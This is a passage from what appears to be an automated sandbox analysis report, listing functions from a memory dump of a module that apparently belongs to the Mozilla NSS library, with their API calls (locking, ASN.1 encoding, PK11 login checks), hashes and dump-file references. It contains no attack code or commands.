Instruction Fuzzy Hash: 6201F172B00250AFE6209F25AC49E2773ADDB45A09B04442DEA19D3F61E761EC1986E1

Function 6CB99C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB99CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CB99D45
EnterCriticalSection.KERNEL32(?), ref: 6CB99D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CB99DDE

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: f939327826c4cbccac4ba3222fe328a854e027b5e94e299e98ba6eabbe092f22
Instruction ID: 98e03cac193cbba3b9a3d2bd2c39ac682185b6a503ab2823b887a2022b8167f0
Opcode Fuzzy Hash: f939327826c4cbccac4ba3222fe328a854e027b5e94e299e98ba6eabbe092f22
Instruction Fuzzy Hash: 09A19B31B041908FFB48EF69D89977E3779EB87715F18013DD60A46A40DB3AA845CBA3

Function 6CC21E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CC21ECC

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

TlsGetValue.KERNEL32 ref: 6CC21EDF
EnterCriticalSection.KERNEL32(?), ref: 6CC21EEF
PR_ExitMonitor.NSS3(?), ref: 6CC21F37
PR_Unlock.NSS3(?), ref: 6CC21F44

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 3dd0a8255b476b70a9280eaea91f72ec2ae6d1a803a46d2cf691ab0d030c8754
Instruction ID: df338a7fe00d0cf0bef02f9570155569bd234f9ced3a2b01492ae394665a37bc
Opcode Fuzzy Hash: 3dd0a8255b476b70a9280eaea91f72ec2ae6d1a803a46d2cf691ab0d030c8754
Instruction Fuzzy Hash: 8C71AD759083019FD710CF29D840A5BB7F5BF88358F144929E8A993B20F736F959CB92

Function 6CCADD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CCADD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CCADE77

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: bd8eeaff29ea139a8d1f427457c1dbbd8bf8e661344b01816b5e4515614560ed
Instruction ID: 89de10f6c11475bd142630c7d810fbdaa54fbc0f1f2704fad4b289f27d487248
Opcode Fuzzy Hash: bd8eeaff29ea139a8d1f427457c1dbbd8bf8e661344b01816b5e4515614560ed
Instruction Fuzzy Hash: 89716671A00316CFDB10CF9AC98869AB7B4FF89718F25816DDD596B702E730A942CF90

Function 6CC79E00 Relevance: 7.7, APIs: 5, Instructions: 157COMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3(?), ref: 6CC79EB2
PR_Sleep.NSS3(00000000), ref: 6CC79EBC
PR_EnterMonitor.NSS3(?), ref: 6CC79ED8
TlsGetValue.KERNEL32 ref: 6CC79F46
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CC79F8B

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$EnterErrorExitSleepValue
String ID:
API String ID: 2181969484-0
Opcode ID: 56d10ccd5261c5fdf3e5b43d6fac36fb4968c3fcfcddfba4e28763508f795693
Instruction ID: 5e8cdeaa6e39a072198f2a893857ea1e637b67efc6586487b758142c8f722aff
Opcode Fuzzy Hash: 56d10ccd5261c5fdf3e5b43d6fac36fb4968c3fcfcddfba4e28763508f795693
Instruction Fuzzy Hash: 00511571A042158BEB209F2ADC40BAE7BA5FF8170CF144578DD589BA91F732D846CBA1

Function 6CC1DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CC1AB10: DeleteCriticalSection.KERNEL32(D958E852,6CC21397,5B5F5EC0,?,?,6CC1B1EE,2404110F,?,?), ref: 6CC1AB3C
Part of subcall function 6CC1AB10: free.MOZGLUE(D958E836,?,6CC1B1EE,2404110F,?,?), ref: 6CC1AB49
Part of subcall function 6CC1AB10: DeleteCriticalSection.KERNEL32(5D5E6CE1), ref: 6CC1AB5C
Part of subcall function 6CC1AB10: free.MOZGLUE(5D5E6CD5), ref: 6CC1AB63
Part of subcall function 6CC1AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CC1AB6F
Part of subcall function 6CC1AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CC1AB76

TlsGetValue.KERNEL32(?,?,6CC1B266,6CC215C6,?,?,6CC215C6), ref: 6CC1DFDA
EnterCriticalSection.KERNEL32(?,?,?,6CC1B266,6CC215C6,?,?,6CC215C6), ref: 6CC1DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CC1B266,6CC215C6,?,?,6CC215C6), ref: 6CC1E029
PK11_IsLoggedIn.NSS3 ref: 6CC1E046

Part of subcall function 6CC28F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC28FAF
Part of subcall function 6CC28F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC28FD1
Part of subcall function 6CC28F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC28FFA
Part of subcall function 6CC28F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC29013
Part of subcall function 6CC28F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC29042
Part of subcall function 6CC28F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC2905A
Part of subcall function 6CC28F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC29073
Part of subcall function 6CC28F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC29111

PR_Unlock.NSS3(?,?,?,?,6CC1B266,6CC215C6,?,?,6CC215C6), ref: 6CC1E149

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 23aa70f9d2941c44ebd99608d64a42b384141b53c6768341ff7900f6270a8c83
Instruction ID: 770804943ada85dc441401f089f44140c413bc3e56aba85e2659bd5f91c26b31
Opcode Fuzzy Hash: 23aa70f9d2941c44ebd99608d64a42b384141b53c6768341ff7900f6270a8c83
Instruction Fuzzy Hash: C0513674608601CFDB10DF2AC48876ABBF0BF44318F16895CD8998BF41E731E885DB92

Function 6CC2BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CC2BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC2BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC09F71,?,?,00000000), ref: 6CC2BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC2BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC2C014

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 70da02aa98b3b1c8643e927752b485e946e7f80e224e8794dc7215c395d6a878
Instruction ID: 8716cc78574c88feb2f79f9760ce0162a90568ce63a931a90eb64753c822847c
Opcode Fuzzy Hash: 70da02aa98b3b1c8643e927752b485e946e7f80e224e8794dc7215c395d6a878
Instruction Fuzzy Hash: A341E679A012059BEB10CE6ACC50BFBB3B9AF44208F554128ED1AD7B41FB39E845CB91

Function 6CBFEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBFEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CBFEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CBFEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBFEEEB
free.MOZGLUE(?), ref: 6CBFEEF6

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: e43eb709009bad43af618446b3d366ae543df06a8d3f64ad21cf78b214e14370
Instruction ID: 8ea4ec24edf48865697a0a7376a33013c602ce3667eea8ad671f7601f2c39d07
Opcode Fuzzy Hash: e43eb709009bad43af618446b3d366ae543df06a8d3f64ad21cf78b214e14370
Instruction Fuzzy Hash: 1A31D5716002C19BE7209F2DEC4477A7BB8FB46314F140529E9AA87B50D731E55ACBE2

Function 6CC11F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC11F1C

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CD29EBC), ref: 6CC11FB8
SEC_ASN1EncodeItem_Util.NSS3(6CD29E9C,?,?,6CD29E9C), ref: 6CC1200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CC12020

Part of subcall function 6CC06A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CC0AD50,?,?), ref: 6CC06A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC12030

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 4a899a1a9cc3ad38e0df626cf0269a030ca8834de24d21772b2c08555b3f9f04
Instruction ID: 13474aadeb5267a14add49bfc7c546c9b108ac785bda23b94c56d6d429f4f323
Opcode Fuzzy Hash: 4a899a1a9cc3ad38e0df626cf0269a030ca8834de24d21772b2c08555b3f9f04
Instruction Fuzzy Hash: 6C2106B5905906AFE7018E1ADC40FAB7768FF5231CF140214F82896F90F732E529D7A1

Function 6CC41EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CC26295,?,00000000,00000000,00000001,6CC42653,?), ref: 6CC41ECB

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6CC26295,?,00000000,00000000,00000001,6CC42653,?), ref: 6CC41EF1
EnterCriticalSection.KERNEL32(?), ref: 6CC41F01
PR_SetError.NSS3(00000000,00000000), ref: 6CC41F39

Part of subcall function 6CC4FE20: TlsGetValue.KERNEL32(6CC25ADC,?,00000000,00000001,?,?,00000000,?,6CC1BA55,?,?), ref: 6CC4FE4B
Part of subcall function 6CC4FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC4FE5F

PR_Unlock.NSS3(?), ref: 6CC41F67

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: a549f1fbf3065b10d3dd03ca0e4ff0977ef7e2e3ec79c4f8165fa9754288de58
Instruction ID: c538bdcd7d1cbe41f65e56f55c96da914b88dad40e97a9d366a5b89aef0c2a60
Opcode Fuzzy Hash: a549f1fbf3065b10d3dd03ca0e4ff0977ef7e2e3ec79c4f8165fa9754288de58
Instruction Fuzzy Hash: 0C210175A00205AFFB00AE6EDC44E9A3769AF45368F19C164FD4887B11F730E966C7E0

Function 6CC01DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CC01E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CC01E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC01E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CC01E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CC01EAD

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 986f591d82fb8bc8f6813d7b51caca03d2207642876141276442307a44650fd8
Instruction ID: d94bbbf2fabdd93085c5241353de03ff729ef4d9f64986a51f944d87b4012e36
Opcode Fuzzy Hash: 986f591d82fb8bc8f6813d7b51caca03d2207642876141276442307a44650fd8
Instruction Fuzzy Hash: 5721F172F08315ABD7008E6DDC48B8EB394AB8432CF154638ED6957B81F732D90986D2

Function 6CD11E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CD11E5C

Part of subcall function 6CCC9BF0: TlsGetValue.KERNEL32(?,?,?,6CD10A75), ref: 6CCC9C07

PR_Lock.NSS3(00000000), ref: 6CD11E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CD11EAB
PR_GetCurrentThread.NSS3 ref: 6CD11ED0
PR_Unlock.NSS3(?), ref: 6CD11EE8

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 16f4b3ff2cd5ef3542262c62294e13992cbc227993795e8848271a195fb6c0ae
Instruction ID: 85e5b5c91ce5ae876329092a0b88cbaa22d3de75a3b7ac9a20feaf9395a13841
Opcode Fuzzy Hash: 16f4b3ff2cd5ef3542262c62294e13992cbc227993795e8848271a195fb6c0ae
Instruction Fuzzy Hash: 4221AFB4B18522EFD710CF99E840A46B7B1FF54718B258229D8159BF61E730F854CBD1

Function 6CC5BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CC0E708,00000000,00000000,00000004,00000000), ref: 6CC5BE6A

Part of subcall function 6CC60840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC608B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC104DC,?), ref: 6CC5BE7E

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CC5BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC104DC,?,?), ref: 6CC5BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CC5BEEB

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 4636eb8ae5714f6ccd75da4aba415c90740ef7ca086bfbad2199a0e139ce179a
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 76115B7AB042096BE70089669CA0F6B7B6DEB40758F880225FE0593B51F772D83487E9

Function 6CC0AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CC03FFF,00000000,?,?,?,?,?,6CC01A1C,00000000,00000000), ref: 6CC0ADA7

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CC03FFF,00000000,?,?,?,?,?,6CC01A1C,00000000,00000000), ref: 6CC0ADB4

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CC03FFF,?,?,?,?,6CC03FFF,00000000,?,?,?,?,?,6CC01A1C,00000000), ref: 6CC0ADD5

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CD294B0,?,?,?,?,?,?,?,?,6CC03FFF,00000000,?), ref: 6CC0ADEC

Part of subcall function 6CC5B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD318D0,?), ref: 6CC5B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC03FFF), ref: 6CC0AE3C

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
